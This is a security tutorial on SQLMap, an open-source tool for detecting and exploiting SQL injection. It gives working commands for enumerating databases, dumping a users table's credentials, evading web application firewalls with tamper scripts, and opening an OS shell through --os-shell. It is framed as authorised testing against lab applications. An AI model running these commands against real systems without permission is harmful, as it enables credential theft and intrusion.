IntermediateTools

SQLMap Guide: Automated SQL Injection Testing

A comprehensive guide to SQLMap for automated SQL injection detection and exploitation, covering techniques, options, and defensive measures.

#sqlmap#SQL injection#database security#web security#automated testing

Why You Need SQLMap

You suspect a web application is vulnerable to SQL injection — SQLMap automates the entire process of detection, exploitation, and data extraction. It handles over a dozen injection types across MySQL, Oracle, PostgreSQL, MSSQL, SQLite, and more. It can enumerate databases, dump tables, bypass authentication, and even gain OS-level access.

Prerequisites

Basic understanding of SQL and database concepts

Familiarity with HTTP requests and web applications

Knowledge of SQL injection fundamentals

A lab web application for testing (DVWA, bWAPP, or SQLi Labs)

Explicit permission to test any target application

How SQLMap Works

SQLMap works by injecting SQL payloads into parameter values and analyzing the application's response to determine if injection is possible. It uses several techniques:

Boolean-based blind: Injects conditions that return true or false and observes differences in the response.

Time-based blind: Uses time delay functions (SLEEP, WAITFOR) to infer information based on response timing.

Error-based: Causes deliberate database errors to extract information from error messages.

Union query: Uses UNION SQL statements to combine query results with attacker-controlled data.

Stacked queries: Executes multiple SQL statements in a single request, enabling more complex operations.

Installation

SQLMap comes pre-installed on Kali Linux. For other distributions:

# Debian/Ubuntu
sudo apt install sqlmap

# From source (always latest)
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python sqlmap.py -h

# Using pip
pip install sqlmap

Basic Usage

The simplest SQLMap command tests a URL parameter for injection:

sqlmap -u "http://target.com/page?id=1"

Essential Options

| Option | Description |

|--------|-------------|

| -u URL | Target URL with parameter |

| --data=DATA | POST request body data |

| -p PARAM | Specific parameter to test |

| --level=LEVEL | Test intensity (1-5, default 1) |

| --risk=RISK | Risk of payloads (1-3, default 1) |

| --batch | Non-interactive mode (use defaults) |

| --cookie=COOKIE | Session cookie |

| --threads=THREADS | Concurrent threads |

Database Enumeration

List Available Databases

sqlmap -u "http://target.com/page?id=1" --dbs

List Tables in a Database

sqlmap -u "http://target.com/page?id=1" -D database_name --tables

List Columns in a Table

sqlmap -u "http://target.com/page?id=1" -D database_name -T table_name --columns

Dump Table Data

sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump

Advanced Techniques

POST Request Testing

sqlmap -u "http://target.com/login" --data="username=admin&password=test" --level=2

Using Custom Headers and Cookies

sqlmap -u "http://target.com/dashboard" --cookie="PHPSESSID=abc123" --headers="X-Forwarded-For: 127.0.0.1"

Request from File

sqlmap -r request.txt

Bypassing WAF

sqlmap -u "http://target.com/page?id=1" --tamper=space2comment --level=3

OS Command Execution

sqlmap -u "http://target.com/page?id=1" --os-shell

Real-World Example: Full Assessment

# Step 1: Initial scan
sqlmap -u "http://testapp.com/products?id=1" --batch

# Step 2: Enumerate databases
sqlmap -u "http://testapp.com/products?id=1" --dbs

# Step 3: Dump user credentials
sqlmap -u "http://testapp.com/products?id=1" -D testapp_db -T users --dump

# Step 4: Try OS shell
sqlmap -u "http://testapp.com/products?id=1" --os-shell

Common Mistakes

Using Default Level and Risk

Default level (1) only tests basic payloads. Many injections require level 3 or higher.

Not Providing Authentication Context

Modern applications require session cookies. Always provide authentication context.

Ignoring WAF Detection

Check with --identify-waf and use appropriate tamper scripts.

Best Practices

Start with --batch: Use --batch for automated testing.

Use --tamper scripts: WAFs are common. Loading appropriate tamper scripts increases success.

Save request files: Using -r request.txt is more reliable.

Verify manually: SQLMap results should be manually verified.

Related Tools

**Burp Suite**: Intercepting proxy for capturing web requests

**jSQL Injection**: Java-based GUI tool for SQL injection testing

**NoSQLMap**: Automated NoSQL injection testing tool

[SQL Injection Basics](/articles/sql-injection-basics)

[Burp Suite Introduction](/articles/burp-suite-introduction)

[Web Security Fundamentals](/articles/web-security-fundamentals)

[WAFW00F Guide](/articles/wafw00f-guide)

Summary

SQLMap is the most powerful automated SQL injection testing tool available. It supports multiple injection techniques, all major database systems, and features like WAF bypass and OS shell access.

Knowledge Check

What does the `--level` option control in SQLMap?

How do tamper scripts help bypass WAF detection?

What is the difference between boolean-based and time-based blind injection?

Why should you provide cookies when testing authenticated pages?

What does the `-r` option do?

Frequently Asked Questions

What is SQLMap and what does it do?

SQLMap is an open-source tool that automates SQL injection detection and exploitation. It can identify injection points, enumerate databases and tables, extract data, bypass authentication, and even gain OS shell access on vulnerable systems.

What SQL injection types can SQLMap detect?

SQLMap detects over a dozen injection types including boolean-based blind, time-based blind, error-based, union query, and stacked queries. It supports MySQL, Oracle, PostgreSQL, SQL Server, SQLite, and other major database systems.

What does the `--level` option control in SQLMap?

The `--level` option (1-5) controls test intensity. Level 1 tests basic payloads, while higher levels test more injection points including headers, cookies, and User-Agent strings. Level 3 or higher is often needed for comprehensive testing.

How do tamper scripts help bypass WAF detection?

Tamper scripts modify SQL payloads to evade Web Application Firewall (WAF) filters. Scripts like `space2comment` replace spaces with comments, `charencode` URL-encodes characters, and `randomcase` randomizes letter case to bypass pattern matching.

Why should you provide cookies when testing authenticated pages?

Most modern web applications require authentication. Without valid session cookies, SQLMap only tests unauthenticated pages, missing injection points behind login. Provide cookies with `--cookie` to test the full application.

What is the difference between boolean-based and time-based blind injection?

Boolean-based blind injects conditions that return true/false and observes response differences. Time-based blind uses database delay functions (SLEEP, WAITFOR) to infer data from response timing. Boolean-based is faster; time-based works when no visible differences exist.

What does the `-r` option do in SQLMap?

The `-r` option reads a raw HTTP request from a file instead of constructing it from URL parameters. This is useful for testing complex requests with specific headers, cookies, and POST data captured from tools like Burp Suite.

How do you test POST parameters with SQLMap?

Use `--data='param=value'` to specify POST body data, or `-r request.txt` with a captured request file. Use `--level=2` or higher to test all POST parameters, not just the first one identified.

What is `--os-shell` in SQLMap?

The `--os-shell` option attempts to gain an operating system command shell on the target through SQL injection. It works when the database has sufficient privileges and the database backend supports stacked queries or out-of-band data transfer.

How should you verify SQLMap results?

Always manually verify SQLMap findings. Automated tools can produce false positives, especially with time-based techniques. Confirm injection points by reproducing the payloads manually and verifying the database responses match expected behavior.